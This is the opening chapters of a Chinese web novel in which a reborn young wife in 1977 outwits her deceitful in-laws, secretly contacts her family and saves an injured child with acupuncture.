《炮灰肥妻觉醒后,被偏执竹马亲哭了》
第一章 重生掀桌,打脸伪善婆婆
“念念,向南他今年出任务没办法回来了,只能等明年再让你随军了。”
村门口的大树下,吴桂花当着众人的面掏出了钱。
“妈给你三块钱,你跟小晴去县城买点好吃的当做补偿,要是不够再跟妈要。”
姜念恍惚回神,她竟然重生到了她跟顾向南结婚的第三年——1977年!
在看到前世把她溺死的婆婆吴桂花时,姜念恨意滔天,伸手掐住了她的脖子!
上一辈子至死姜念才知道自己生活在一本书里,她的军人丈夫顾向南和后来娶的女人才是这本书的男女主。
而她只是男主娶来照顾家人的炮灰前妻,后来男女主结婚的事暴露,她被顾家人按在河里溺亡,爸妈兄弟给她报仇,却被男主冤枉成间谍惨死,成了他向上爬的垫脚石。
原以为她这辈子都报仇无望,却没想到被她退过亲还恶语相向的裴淮州会豁出命为她报仇。
可当时的顾向南已经位高权重,将一生清廉,为科技献身的裴淮州冤枉成窃取**的内奸,死后都要被拉出来鞭尸……
而所有悲剧的开端都是她非得嫁给顾向南造成的!
重活一世,她要让顾家尤其是顾向南都付出代价!
她想的太出神,吴桂花得以挣脱,小姑子顾晴不满:“嫂子你发什么神经……”
姜念慢慢冷静下来,这里人太多,她就算把吴桂花弄死也报不了仇,反而还会惹一身腥。
小不忍则乱大谋,她收回了手。
“小晴,不许这么说你嫂子,”吴桂花按下她,换成惯用的委曲求全样子对姜念说,“念念,我知道这钱有点少,可向南每个月寄五块钱回来,我把剩下的两块钱都给你,你别生气了。”
“妈!那是我爸买药的钱,你都给我嫂子了我爸怎么办?”
“你这傻孩子,药钱妈妈再想办法,关键是让你嫂子开心啊。”
这话说的,大家伙都对着姜念指指点点。
“你们老顾家这也太宠儿媳妇了,连买药钱都要拿出来给儿媳妇买吃的,姜念,你要是有良心就赶紧把这钱还回去,这可是你公公的救命钱!”
“好吃啊,你自己看看你这猪样,二百多斤啊,比村里的老母猪都沉,也就是顾家人肯全家省吃俭用供你吃,你不感恩就算了怎么还想着要钱!”
姜念低头看自己这样子,缓缓攥住了拳。
要不是他们偷偷给她吃猪饲料,她至于变成这副猪样吗!
其实她只是看着胖,实际上吃的最少,连顾家的狗吃的都比她多!
可就算她现在解释,旁人也不信。
吴桂花等他们数落完才假惺惺的虎住脸。
“你们说什么呢,我都没嫌弃我儿媳妇你们还嫌弃上了,要是让我再听你们说我家念念一句坏话,我可跟你们没完!”
“就知道你会护着她,真搞不懂,不就是一个知青吗,往后又不能回城了,犯得着这么惯着她?”
“你们懂什么啊,我们家念念比谁都好!”
听到这貌似偏袒的话,姜念眼底闪过浓浓嘲讽。
吴桂花的确有点手段,她不是明着坏而是肚里藏黑水,生一张颠倒是非的巧嘴,表面一套背面一套。
上辈子,她受书中机制的影响一直以为她是个好婆婆,丝毫不知道自己早成了十里八乡出了名的好吃懒做的恶儿媳!
而他们老顾家倒成了疼爱儿媳妇的好婆家!
可如今,呵,她不把顾家人玩死她就白重生了!
姜念低头调整情绪,蚊子一样低弱弱开口。
“妈,你别生气,我昨晚梦见向南出任务受伤了才精神恍惚不小心伤了你,向南这三年都受伤好几回了,回回都不能回来探亲,我实在担心啊,你要是生气,就打回来吧。”
说着,姜念畏畏缩缩伸出了手。
所有人都倒吸了口冷气:“嘶!”
其余人也纷纷震惊。
只见姜念伸出来的手心满是茧子,手背伤痕累累,皮肉炸裂开往外渗血,冲击力十足。
“这……姜念不是出了名的好吃懒做的儿媳妇吗,手怎么还会有茧子?!”
“桂花不总说他们家多么宠儿媳妇吗,姜念这手上的茧子没个两三年都成不了吧?”
众人窃窃私语钻进吴桂花的耳里。
吴桂花脸色变了几变,率先关切问:“念念你这手怎么弄的?快让我看看。”
姜念睫毛颤抖,像是被她吓到一样飞快收回手:“没,没什么,是我不小心摔的……婆婆对我很好的,从来都不让我劈柴和洗衣裳。”
这话简直欲盖弥彰,大家伙你看看我,我看看你,有人小声嘀咕:“骗鬼呢,**了十几年的活了,这伤口不就是劈柴劈出来的吗?”
“奇怪,桂花你不是说你儿媳妇不做粗活吗,怎么又是茧子又是
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伤的?”
吴桂花虽然不知道姜念怎么突然来这一套,但谎话张口就来:“害,这不是我前阵子不舒服吗,念念心疼我偷偷去劈柴,这没劈几个就弄了个满手伤……”
吴桂花避重就轻,硬是拉住了姜念的手:“你这傻孩子,养的好好的手成了这样,妈看着都心疼。”
“快,跟我回家,我给你抹点红药水。”
回家?
姜念心里冷笑,她的确要回家但不是这个顾家。
上一世她跟反对她嫁给顾向南的爸妈断绝了关系,直到死才明白他们多爱自己。
这一世,她要回自己的家,跟爸妈永远在一起!
“可我还是担心向南,想去镇上打个电话问一问,就是我手上没有钱……”
钱?
吴桂花可不正好有五块钱吗。
姜念几句话就把吴桂花架起来了,为了好婆婆的名声,她哪怕再不情愿也得掏钱。
“你把钱都拿着,你们小两口打跨省电话,没钱可不行。”
“可这两块钱不得给公公买药吗,我不要那么多。”
姜念故意这么说,她不会给吴桂花过后编排她的机会,说她连公爹治病的钱都贪。
其实她公公根本没病,他们只不过是找个借口让她多干活和从她手里拿钱而已。
吴桂花咬牙:“我说给你你就拿着,至于其他的不用你管!”
姜念顺理成章接过来:“那我就恭敬不如从命了,谢谢妈~”
吴桂花恨得眼睛都红了:“你一个人我不放心,让小晴陪着你一起去吧。”
姜念心想,姜还是老的辣,吴桂花这是发现了她的不对劲派顾晴来监视自己。
不过,姜念意味深长笑了:“好啊。”
本来想放过顾晴的,但她上赶着求虐,那她就不客气了。
顾晴,顾向南最宠爱的妹妹,离开家时再三叮嘱姜念要多照顾她。
姜念对顾晴爱屋及乌,不管是从城里带来的衣裳还是手表,顾晴张嘴要她就会给她。
可顾晴表面上跟她关系好,后来却顶替自己的高考成绩进了大学,在顾家人溺死她时更是死死按住了她的头!
这一世她可不会再惯着她。
红旗村到县城可以坐客车,只剩下一个空座,顾晴理所当然去坐,却看姜念兀自坐了下去。
顾晴当即要拽起她:“姜念你给我站起来,这座位是我的!”
第二章 打脸小姑子,玩的团团转
姜念不为所动,等顾晴尖着声音又喊了好几遍,所有人都看了过来时才慢悠悠的站起来。
“对不起我没注意,我这就给你让座。”
可她二百多斤的体重,体型庞大啊,一摇一摆蹭到了不少人,一个大妈被挤了好几下,哎呦一声:“你快坐回去吧,要是站起来整个车都得被你撑爆!”
“可我小姑子还站着呢,你们先忍忍。”
“凭啥啊,这座位写你小姑子的名字了吗你就让,给我坐下来!”
见姜念磨磨唧唧的,顾晴烦**:“快点,我衣裳都要这群人弄坏了!哎呀,你别碰我啊,这是我新买的衣裳!脏**!”
“你说谁脏啊,我看你才脏!哎呦,你可别动了啊。”
别人不让动姜念就非得动,左脚踩完右脚踩。
姜念记得车子要经过某段修路的地方,特别颠簸,算准时间故意踩了一下,既不会给车子造成危险又能唬住人。
果然不出她所料,司机吓得咆哮:“后面的干啥,车都晃成啥样了还乱动,要是找死就滚下去,别拉着我们一起!”
售票员挤过来,看到姜念这二百多斤的大体格子乱蹦跶时脸都黑了。
“你老实点给我坐回去!车都快被你踩塌了!”
姜念无辜脸:“可我小姑子要我的座位。”
“你小姑子?天王老子来了这座位也是你的!她要是不同意,就让她来找我!”
这年头的售票员可真敢对乘客动手的,发了狠一脚就能踹下车。
顾晴是个窝里横,只敢对着姜念张狂,对上凶神恶煞的售票员时就成了鹌鹑,半句话都不敢说。
等人离开了,顾晴愤愤盯着姜念:“你给我等着!”
姜念挑高了眉头,知道她要跟顾向南告状。
可谁说她是要去给顾向南打电话的?
她是要跟她爸妈联络。
所以,顾晴必须得走。
至于支开她的借口?
姜念故意绕路经过了国营饭店:“咦,这里面的不是王洋吗?他身边怎么还跟着个漂亮的小姑娘?”
王洋是顾晴喜欢的小混混,一听到王洋身边有姑娘,顾晴立马要冲进去。
姜念作势拦住她:“晴晴你不能进去,万一他们不是你想的那种关系,你再被欺负了怎么办?”
“滚开,再拦我我连你一起揍!”
姜念迟疑:“可婆婆说你得陪着我去邮局给你哥打电话啊。”
“你别和我妈说不就行了?就跟她说我一直盯着你。”
目的达成,姜念勾了勾唇角,做戏做完整道:“既然这样,那你去吧。”
看着姜念这怂样,顾晴哼了声,姜念这不是一点都没变吗,她妈真是白担心了。
顾晴扭头进去,一把扯住了那女工的头发……
看着里面吵吵起来,姜念转身就走。
时间有限,姜念担心顾晴反应过来追她,一溜快走到了邮局这里。
不是她不想狂奔,而是身体不允许,二百多斤的体重可不是闹着玩的,走几步路都要喘,等她回去得好好减肥。
姜念看着长长的排队队伍皱了皱眉。
大意了,她怎么忘了县里有个食品厂,每到中午打电话的工人超级多。
看了眼手里的钱,她索性先去发电报,这比写信快得多,但电报是按字收费,这些钱她还有别的用处,得留一点。
就在她绞尽脑汁想着是写顾家骗我我要离婚还是解释原委让爸妈原谅自己时,她身后突然有人说话。
“这不是外甥媳妇吗,这是准备给谁发电报呢?”
姜念头皮登时一阵发麻,这声音是吴国强,吴桂花的亲哥!
她僵硬转头,果然看到了笑眯眯看着她的矮胖子吴国强。
姜念握紧拳头。
怪不得吴桂花能放心的让她来邮局,不怕她跟部队的人联系上暴露了她宝贝儿子的好事。
原来除了顾晴她还留了这一手!
她怎么忘了,吴国强正是在县里的邮局工作,权柄很大。
上辈子她给顾向南写了那么
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多封信,按照部队会检查外来信件的规矩顾向南还能在部队里安然无恙,肯定是吴国强暗中操作截停了她的信件,说不定那些回信也是他伪造的!
他们就这样**她欺骗她了整整一辈子!
姜念恨得死死攥紧了手,但她越恨就越冷静。
她身在异乡独木难支。
村里,顾家有爱护儿媳的好名声;镇上吴桂花有个邮局领导哥哥,切断了她向村民和父母求助的可能。
她羽翼未丰,一旦露出一点想毁了顾向南的马脚,不管是顾家人还是吴国强都会想方设法的弄死她。
到时候怕是还要走上辈子的老路。
姜念心里百转千回,但其实也只过去了几秒钟,她按住了草稿纸,又成了任人欺负的怂样。
“大舅,婆婆说向南今年不回来过春节,身上又受了伤,我担心他,想发电报问问。”
“向南不是出任务了吗,你发电报过去那边也接不到,还是写信好点,既能写好多又能省钱,还不耽误向南看。”吴国强笑眯眯的,看着很亲切。
姜念跟以前一样表现的没主见:“舅舅说的是,我还是写信吧。”
姜念去领了信纸到另一个桌子写,期间吴国强无论是在她写信还是贴邮票时都在身后盯着她。
姜念生怕露出一点马脚,模仿以前的语气多写几张纸才递给他:“舅舅我写好了。”
吴国强接过来:“放心,我给你盯着,送加急。”
姜念感恩地道:“好,谢谢舅舅。”
等姜念离开了,吴国强才背着手进了自己的办公室,慢悠悠拆开信件,一目十行看完后丢进了废纸篓里。
啧,怪不得向南不愿意带她去随军,写信啰里啰嗦,一股子小家子气,上不得台面!
像以前那样写了回信放进抽屉里,吴国强哼着歌走了。
等他走了,姜念才蒙着围巾钻在了打电话的队伍里。
一个半小时后,打通那烂熟于心的电话号码时,姜念心跳不住地加速。
第三章 裴淮州千里追妻
服装厂的公用电话很快就被接通。
“服装厂家属院,你找谁?”
姜念听到这熟悉的接线员声音,五味杂陈:“宋姨是我,我妈妈在家吗?”
宋姨愣了下:“姜家的姜念啊,哎呦,你这都多长时间不打电话来了啊,你爸妈可都念着你,每隔一个月都往你那里打电话呢。”
姜念听得一怔,她怎么不知道,肯定是吴国强又拦了电话!
怪不得吴桂花经常跟她说她爸妈的坏话,原来是怕她重新跟父母联系上。
想到她做了这么多错事爸妈还惦记着她,眼巴巴给自己打电话,她却没接到过一次……
姜念哽咽道:“是我不好,宋姨,你帮我喊我爸妈来吧,我有急事要跟他们说。”
“你爸妈都没在呢,今天服装厂加班,你要是有什么话,先和宋姨说……”
姜念知道宋姨人不坏但嘴巴比较松,正好趁这机会宣扬一下顾向南和顾家人的所作所为。
宋姨却在那边惊喜喊了声。
“小裴回来了啊,刚好,念念的电话,你不是经常来问她的消息吗,这下能亲口问了,来,给你接。”
姜念听到了座机被移动的声音,身子一僵。
半晌后,那边才开口,声音低沉却冷淡:“姜念,是我。”
裴淮州……没想到这就遇到了……
姜念恍如隔世,眼前浮现出对方被打的遍体鳞伤还在质问顾向南为何负她的那一画面。
她鼻子一酸,眼眶瞬间红了。
她想问他为什么要救自己,她就是个烂人,根本不值得他把命搭进来。
她还想解释,当年的退亲是她被原书的剧情控制住了,可话到嘴边,千言万语只剩下一句:“裴淮州,你还好吗?”
在她看不到的地方,裴淮州都呼吸轻了几分,不可控制的攥紧了手里的话筒。
是她,她还活着……这就足够了。
裴淮州喉结滚动:“我还好。”
姜念攥紧电话:“可顾家人对我不好……”
“外甥媳妇你怎么还在这!”
姜念要说的话被脚步匆匆回来的吴国强打断,跟着他的赫然是吴桂花。
看样子是吴桂花不放心又追了过来。
绝对不能被发现!
姜念大脑飞速运转,装没看到他们,故意大声说:“爸妈,你们别再给我打电话了,向南对我很好,我公婆对我也好好,村里的人对我也很好,根本不像是你们说的那样穷,没见识。”
“要不是我没去随军,我早就给向南生了俩孩子了。”
“我跟向南很幸福,为他们家当牛做马也甘愿!”
“往后别联系了!”
姜念飞快说完立马挂了电话,扭头被冲过来的吴国强吓了一大跳:“妈,舅舅,你们怎么来了?”
“你给向南打电话了?”
“都说了什么?”
姜念摇头:“向南不是出任务了吗,我怎么打得通?”
吴国强松了口气,吴桂花却满脸狐疑,追问:“真的,那你刚才给谁打的电话?”
“我爸妈打来的电话,不信,你可以问小姑子。”
她刚才说话时余光看到顾晴鬼鬼祟祟接近,顺手一指。
顾晴可不敢让她妈知道她跟王洋的事,连连点头:“对,我嫂子还说要跟我哥生几个孩子,让她爸妈别和她联系了。”
听到亲闺女的话再看姜念一脸坦然,吴桂花才放下心。
看来姜念是在为向南没回来撒脾气呢,于是她上前拍拍姜念的手:“念念别伤心,等向南回来了就让他跟你生孩子,你这么好
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的儿媳妇,我当闺女疼都来不及,你爸妈倒好,竟然不要你了,真是身在福中不知福!”
姜念听出她在PUA自己,顺从地点头:“对,我跟您最亲了。”
几人离开了邮局,姜念心中忐忑,裴淮州应该明白她意思了,去找她爸妈救她吧?
另一边,宋姨忽然察觉到身边凉飕飕的,她疑惑去看裴淮州,惊讶发现他眉眼似乎挂上了冰霜,整个人写着生人勿近。
不是说他是搞科研的吗,身上的气势怎么比战场上见过血的军人还厉害?
能不厉害吗,裴淮州险些要呕死!
姜念居然说要给顾向南生孩子,生、孩、子!
她就这么喜欢那个渣男!
裴淮州险些咬碎自己的后槽牙,面无表情扭头对警卫员说:“不是说让我挑选实验地点吗,我觉得松山县不错,去安排吧。”
警卫员小赵原本还在想对面是什么人呦,居然把裴处给气的鼻子都歪了。
闻言立马惊喜抬头:“好,我这就去安排!”
就是那松山县好像在千里之外,不过没关系了,眼前的男人可是半年内接连做出三个关键科研成果的重要人物,上头说了,要不惜一切满足他的要求。
只可惜保密任务结束后,他推了无数工作非得回来探亲。
上头都急坏了,好几个难关等着他拯救呢,怎么这时候就非得回去?
可耐不住人家意志坚定,上头只能派人过来随身保护,明里暗里的表示只要裴处乐意,就算在他老家弄个实验基地他们也同意!
如今,眼瞧着裴处有看的上眼的地方,就算是敌方根据地他们也得打下来给他做实验基地!
见两人快步离开,宋姨挠了挠头:“松山县,这不是念念下乡的地方吗?
第四章 出手救人,惊艳
才瞒过了吴桂花两人,姜念不敢顶风作案,哪怕想爸妈想的发疯也只能按下心思。
按照裴淮州的智商肯定听出了她的言外之意,说不定爸妈已经得到了消息,正想法设法的来找她了。
有这种畅享的姜念丝毫不知,就因为她的一通电话,上头的人忙了个底朝天,各种命令一层层批下来,最后直接打到了松山县**的办公室里。
此时的她正一脸温顺的陪着吴桂花母女俩逛县里的国营商店。
这里的东西比供销社多,人也多,看着吴桂花一口一个说给儿媳妇买东西被别人夸地喜笑颜开的样子,姜念扯了扯嘴角。
吴桂花很少来县里,但每次来都招摇着给她买东西,在村里逛一圈做够戏后再回家。
等房门一关,她冠冕堂皇的说几句,那好东西就自然而然地落到了顾晴手里,她姜念啥东西空有个败家媳妇的名声。
谁能想到,顾家的败家媳妇此时穿的袜子都是补了又补的,不能再硌脚了。
“念念,你过来看看,这两条围巾你喜欢哪一个?”
围巾一条明黄一条大声红色,都是稀罕颜色,要不是售货员是吴国强的小姨子,都不一定能给他们拿出来。
姜念喜欢明黄但顾晴却喜欢红色,若是以往她肯定会迁就顾晴,可如今,她要为自己而活。
顾家人谁都别想抢她的东西,包括顾家人自己的东西,也得是她的。
比如,这条围巾。
“你别闹,这是给你嫂子买的。”吴桂花装模作样说了一句,“念念,你来挑。”
“我选明黄色。”
“红色啊我就知道你又宠着她……等等,你选哪个?”
吴桂花惊的没控制住声音,姜念弱弱缩了缩脖子:“妈,我喜欢黄色。”
“什么黄色,分明是红色好看,你真以为我妈是买给你的啊,这分明是给我的!”
姜念睁着一双迷茫的大眼睛:“可我刚才听妈说买给我的啊,妈,不是这样吗?”
姜念虽然胖,但她底子好皮肤白晒不黑。
脸上不仅没半点痘痘细纹反而像白面包子那样白白软软,五官精致,眼睛大大的唇小小的,因此胖归胖,但绝对说不上丑。
这样眼尾无辜的耷拉下来的样子,很像个小狗狗,光看这脸,大家心都硬不起来。
有人看不下去了:“什么啊,这就是给你买的,那个谁赶紧把手撒开,多大的人了还跟你嫂子抢东西,真不要脸。”
顾晴跳脚,不过脑子就说:“你说谁不要脸,你懂什么,她的东西就是我……”
“小晴!这是给你大嫂买的,你抢什么!”
眼瞧着顾晴在这么多人面前说漏嘴,吴桂花气狠狠剜了她一眼,顾晴被吓得闭了嘴,她又笑着对姜念说,“我也觉得你皮肤白,黄色的更适合你,娇媚!”
姜念不好意思的笑了笑:“妈,其实这围巾挺贵的,要不还是换这三双袜子吧,我还挺喜欢的呢,这种瑕疵品都不要票。”
围巾要票,价格是袜子的十倍,要真给姜念买这瑕疵袜子还不知道她哥这小姨子怎么编排她,吴桂花咬牙挥手:“三双袜子算什么啊,妈都给你买喽。”
就这样,姜念得到了厚实的围巾和三双保暖全新的棉袜子,而顾晴则是噘着嘴出的商店。
但吴桂花走在后面不知道说了什么,顾晴又立马多云转晴。
姜念瞥了她们一眼就知道她们在商量怎么回去要回她的围巾,但她早就想好了办法。
不过当务之急是她要去一趟卫生所买盒银针,她身体里有长期吃饲料积累下来的毒素,用中医针灸不仅能帮她慢慢排毒还能无副作用的瘦下来。
也幸好她上一世从小就跟爷爷学中医,死后怨气太重鬼魂多年不散,跟着后世那些著名的中医大师学了很多,要不然还想不到这样的好办法。
而这个时候中医虽然正遭**,但她记着松山县有个救了很多人的老中医被睁一只眼闭一只眼的放过了,若说整个松山县哪里有针灸,恐怕也只有那了。
就在她想装意外
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把吴桂花推到路上的大坑里还是把顾晴撞下高高的台阶以此混进卫生所时,吴桂花忽然说:“你舅舅说今年要恢复高考,回收站可能有复习资料,我们去找找。”
回收站!
姜念心思一动,那不就在卫生所巷子的后面,有条小路就能绕过去。
姜念按住激动的心跟着她们走了进去,趁着她们翻找功夫从小路拐去了卫生所。
卫生所里就一个小学徒,见姜念贼眉鼠眼,东张西望不耐烦说:“看什么啊,你找谁?”
姜念:“我找胡大夫,他在吗?”
“在里面,自己去找。”
胡大夫是个小老头,见姜念进来眼皮都没抬:“哪里不舒服?”
姜念反手将门关上,见窗户外也没人才小声说:“大夫,我想找您买盒针。”
胡大夫立马抬起头,警惕盯着姜念:“我这里没绣花针,你找错地方了。”
“您放心我不是骗子也不是红袖章他们……我也懂针灸……”
姜念自己搭脉说症状,可胡大夫依旧不信:“我这只管治病给药,没针,你要是来砸场子的,赶紧出去。”
姜念拗不过这小老头被轰出来,结果刚出去就撞见一个中年妇人抱着个小孩子连滚带爬满身血迹地闯进来。
“救命,大夫快来救救我儿子呜呜……”
只见那小孩胸口处有个血窟窿正汩汩往外冒血,脸色灰白,手脚都软软耷拉下来。
姜念看着都头皮发麻,胡大夫却一把撞开她冲过去,怀里抱着个盒子:“顺子,关门!”
那学徒立马去关门,姜念只见胡大夫扑到男孩身上,又是按压止血又是纱布捂住胸口的,见还止不住血立马当机立断取出了银针。
可他年纪太大了,哪怕再努力也止不住的手抖,封不住关键的穴位。
就在他急的满头大汗时,旁边伸出一只白白胖胖的手,又快又准又稳的扎进了几处穴位里。
血液立马止住。
姜念眼神严肃:“继续,他还没救回来。”
第五章 让她们怎么吃的怎么吐出来
胡大夫从刚才的震惊回过神,配合着一起止血。
封闭的卫生所里,气氛焦灼,姜念额头渗出了豆大的汗珠,直到最后一针落下才虚脱的吐出口气。
“行了。”
胡大夫将信将疑把脉,眼皮子一跳:“脉搏虽然虚弱但好在终于恢复正常了,血也止住了……”这小姑娘竟然比他还厉害。
姜念呼吸微喘,指尖细细地抖着:“我只是暂时用银针吊着他的命,除了失血外,他心脏还有异物,要想让他活必须去省城大医院治疗,你们赶紧联系人把小孩送过去,记住,这些银针只有进了手术室才能拔下来,否则小孩不出十秒必死无疑。”
“好好好!”那位衣着不凡的妇人这才哭出了声,抱着孩子再三感谢,“谢谢,谢谢……”
“滴滴滴。”
外面有急促鸣笛声,从一辆军用吉普上下来几个军人匆匆把人两人带走:“嫂子,车上有军医,快让他看看小超,**得到了消息也正往省城里赶……”
一阵引擎声后,卫生所又重归了宁静,不,应该是诡异。
姜念在胡大夫古怪的目光中从容起身:“哪里有水,我先洗个手。”
“这有这有,我给您倒,”顺子殷勤地过去往搪瓷盆里倒热水,“刚才我有眼无珠,您千万别跟我一般见识!”
顺子被姜念那一手出神入化的针灸功夫镇住了。
他是亲眼见到这小姑娘把小孩扎成了刺猬,再随随便便弹了一下,那些银针就跟麦浪一样摇摆起来,不出三秒,小孩非但止住了血,还能睁开眼了!
神医啊!这可是小说故事里才会出现的神级场面!
姜念笑了笑:“你过誉了,麻烦两位替我保密。”
“一定一定,您放心,我跟胡大夫嘴最严了!”
姜念洗干净手,见胡大夫满身是血也不收拾只盯着她看,无奈道:“这下您该卖我银针了吧。”
胡大夫虽然对姜念满腹疑惑但很有分寸的没问出口,只是摊手:“原本能卖给你,但诊所里的银针在刚才都用完了,你现在要没有。”
姜念:……
竹篮打水一场空,她泄气问:“那您知道哪里还有卖银针的吗?”
“这玩意儿没人敢卖。”
姜念头疼:“也是……”
其实她可以配置一些苦药汤给自己减肥,但味道大不说,她住在顾家也不好瞒过去,就在她想着要去一趟省城时……
“但我知道一个人家里有。”
姜念眼睛一亮。
“可他家里有病人,需要时时刻刻用银针。”
姜念:……
“不过如果你能帮他治好病,那银针留在他那自然就没用了。”
姜念挑眉,这小老头在这等着她呢。
胡大夫立马加码:“你放心,我跟那家人的关系不错,他们人品过硬,我能担保他们不会把你的秘密说出去。”
“就算你治不好我也会想办法给你弄一套银针!”
姜念狠狠心动了,看看自己这身材再看看胡大夫:“我今天没空,三天后才能来县里。”
“没问题!我大后天等着你。”
估摸着吴桂花那边也快完事了,姜念匆匆离开,拐过角落,跟出来找人的母女俩冷不丁撞上。
“哎呦吓我一跳,姜念你死哪去了,我跟妈怎么找都找不着你。”
姜念若无其事:“我去茅房了,妈,咱们回村里吧。”
“真去茅房了,就没去别的地方?”吴桂花眯着眼打量姜念。
“不信您闻闻,就这么点功夫,我还能去哪啊?”
她刚才特意去了一趟茅房,身上的味纯着呢,顾晴嫌弃的摆手:“懒人屎尿多,别靠我这么近,一股子茅房味,妈,咱们走吧。”
吴桂花瞧不出什么异常才放了心:“行,咱们回家。”
等回到村里时已经是下午五点多了,村口的人见她们提着大包小包的围上来打听。
换做以前,吴桂花肯定要说这都是给她这个儿媳妇买的,让众人都以为她是
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个贪得无厌的恶儿媳。
可这次姜念早有准备,先下手为强:“向南虽然不在家但我婆婆对我是真好,不仅给我买了一柜子的新衣裳这回出去还买了围巾和袜子,但我听了大家的话,也知道我婆婆不容易,所以这回当着邻里邻居的面,妈。”
姜念笑眯眯给呆愣的吴桂花围上围巾:“妈,这些还是你戴着吧。”
吴桂花本来就黑,被这么一衬就更黑了,像个滑稽的小丑,有人噗嗤笑出了声,引出了更大的笑声,吴桂花脸耷拉到了地上。
顾晴脸也绿了。
因为这围巾被姜念这么大张旗鼓的宣扬,她还怎么戴出去!
吴桂花赶紧把东西薅下来塞给姜念,笑着说:“好孩子,妈知道你体贴,还是你留着吧,妈就喜欢看你穿新的戴新的,妈看着开心!”
姜念反手推回去。
“没事呢妈,我有的是新衣服,别忘了您给我买了一柜子的衣裳鞋子发卡,既然您说就喜欢看我穿新衣裳,我以后天天穿给您看!”
众人恍然。
“这么一说我还真记起来了,姜念不是有很多衣裳吗,怎么身上这件还有补丁啊,像是向南以前的旧衣裳。”
“还有发卡啥的,我们怎么也没见你戴过?”
“桂花,你不是说向南这回还给她买了个红色大衣吗,我咋没看见姜念穿过一次嘞?”
“还有上次你说的红色小皮鞋,咦,跟顾晴脚上这双很像啊,可你不是说是专门买给你儿媳妇的吗?”
“该不会……你以前宣扬给你儿媳妇买的好东西其实都进了你闺女的腰包吧!”
众人七嘴八舌的说着,还真把真相猜出来了。
姜念见吴桂花脸上一阵青一阵白,微微勾唇。
她的柜子里哪有新衣服,全都是补丁摞补丁的床单改成的肥衣裳,吴桂花拿出来显摆的那些都在顾晴柜子里装着呢。
可这既然是给她的,就该在她柜子里,她要她们怎么吃进去的就怎么吐出来!
第六章 先拆下来,否则别想让我救他!
“你们别瞎说,谁不知道我们老顾家最疼媳妇,念念的衣裳都在柜子里呢,只不过念念胃口好吃得多,好多衣裳都不合身才没穿在身上。”
“嘶……说的也是,姜念这大体格子的确穿不进那些漂亮衣裳。”
众人摇摆不定,有人啧了声,不怀好意比划着姜念的身材。
“顾家怎么可能磋磨儿媳妇啊,他们一家子都瘦成啥样了,你们再看这向南媳妇,啧啧,比村里养的年猪都壮实,换成你们家,你们能把儿媳妇‘磋磨’成这样啊。”
顾晴立马抬下巴:“婶子说的对,我们家但凡有点好吃的都得紧着我嫂子,要不然短短三年能吃成这肥头大耳的?幸亏我哥没在家否则不得嫌弃死她啊。”
她挑衅看向姜念,以往自己每次奚落她的身材时,她都会自卑难堪地低下头,恨不得找个地缝钻进去,看的她暗爽极了。
可下一秒,她挑的笑就愣在了脸上。
因为姜念正抱臂看着自己,那眼神,咋说呢,仿佛一个高级人类在看一头说人话的母猩猩!
母猩猩?
顾晴顿时气不打一处来,甩开拽着她的吴桂花:“你这眼神是什么意思,你看不起我?我跟你拼了!”
顾晴突然发难吓了大家一跳,他们去看姜念,却看到姜念无辜又迷茫地指着自己:“谁看不起你,我吗?可我跟你最好了,怎么可能看不起你啊?”
“谁跟你好!我才不屑跟你这大肥猪……”
“啪!”吴桂花忽然一巴掌扇过去,“顾晴你发什么疯,这是你嫂子,你给我放尊重点!”
顾晴脸被扇的火辣辣的疼,不服气地捂住脸:“妈!”
“给我滚回去!”吴桂花对着她脸色狰狞,吓得顾晴不敢再发作,瞪了姜念一眼才愤愤离开。
姜念挑眉,啧啧,一个巴掌就承受不住了?以后会有更惨的呦~
“念念啊,小晴考试压力太大脾气不好,你别生她的气……”
姜念落寞地垂下眸子:“妈我知道的,小晴经常对我发脾气,我都习惯了……”
“不对啊,你不是说你婆家对你挺好的吗,怎么还经常对你发脾气?”看不上吴桂花的任超男犀利问姜念。
姜念眨眨眼:“我婆家对我就是很好啊,婆婆说,他们把我当一家人才对我发脾气的,要是对我客客气气就是拿我当客人,那样多生分啊,对吧,妈?”
对上姜念愚蠢又清澈的双眼,吴桂花差点没被自己的口水呛死赶紧找补:“害,这住在一块总有点小摩擦嘛,她们都是年轻人,越吵关系越近呀。”
“可发脾气归发脾气,哪有说你肥头大耳,不被你男人喜欢的,这不是贬低你侮辱你的人格吗?姜念,你好赖话都听不出来啊?”
姜念捏着衣角一副唯唯诺诺的样子:“可小姑子说的是实话,都怪我吃的太多了,以后我要减肥,这样向南就不会嫌弃我,小姑子也不会不喜欢我了。”
任超男无语:“真是个蠢货。”
她还以为城里的知青有脑子呢,没想到居然被吴桂花忽悠成这样,真是无药可救。
见她走了,姜念眼神闪了闪。
她想起了一件事,今天晚上任超男的大儿子被村口的刘寡妇仙人跳了,被迫娶了她,结果不出十天刘寡妇就卷了全家的钱跑了,害的任超男小儿子没钱买药烧成了傻子。
因为这事,任超男被吴桂花笑话了半辈子,两家在那之后打死不相往来。
可上一世,任超男知道自己偷偷去找顾向南时还帮着她在介绍信上盖章,瞒住了顾家人,还提点自己要是发现了顾向南做了什么事就去找领导闹,闹得越大越好。
虽然最后她还是**,可如果不是任超男帮着她瞒住了顾家人,她到死都还是个糊涂鬼!
所以……姜念没办法再看到这样的悲剧再重演一遍,更何况她在村里也缺个助力……
一举两得,姜念准备跟任超男打好关系。
但不是现在,人多眼杂的,再被吴桂花发现了就麻烦了,还是先回去修整一番吧。
至于那围巾和袜子,被吴桂花三两下塞进了她怀里,她顺理成章地收下了。
顾家在村东头,是村里难得起了三间砖瓦房的大户。
三间砖瓦房,吴桂花夫妻睡一间,顾晴睡一间,剩下一间应该是姜念睡,可吴桂花拿村里的风俗说事,说她刚新婚男人就不在家,一个人住新房不吉利,撵姜念去了隔壁的茅草屋睡。
吴桂花累了一天,回来直接去了正屋,顾晴也房门紧闭,只剩姜念一个人站在了她的茅草屋前头。
姜念也累,今天一整天拖着庞大的身子走来走去,脚后跟都磨破了,处理了伤口后才躺在薄薄的稻草床上歇息,天气冷下来了,她得想办法
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找点厚实的褥子来……
算算时辰,那小孩应该到省城了吧,不知道有没有救过来。
不过她都交代过了,只要别动银针就会没事。
然而——
“你们往病人身上扎什么啊?真是胡闹!”
省城医院的走廊里,严阵以待的医生乔安娜在看到推过来的小超身上扎满银针时,脸立马拉了下来,尖锐的嗓音刺穿了整条走廊。
“中医是伪科学,是封建糟粕!死在中医手上的病人数不胜数,你们居然还敢让病人扎这么多针,是想害死他吗!”
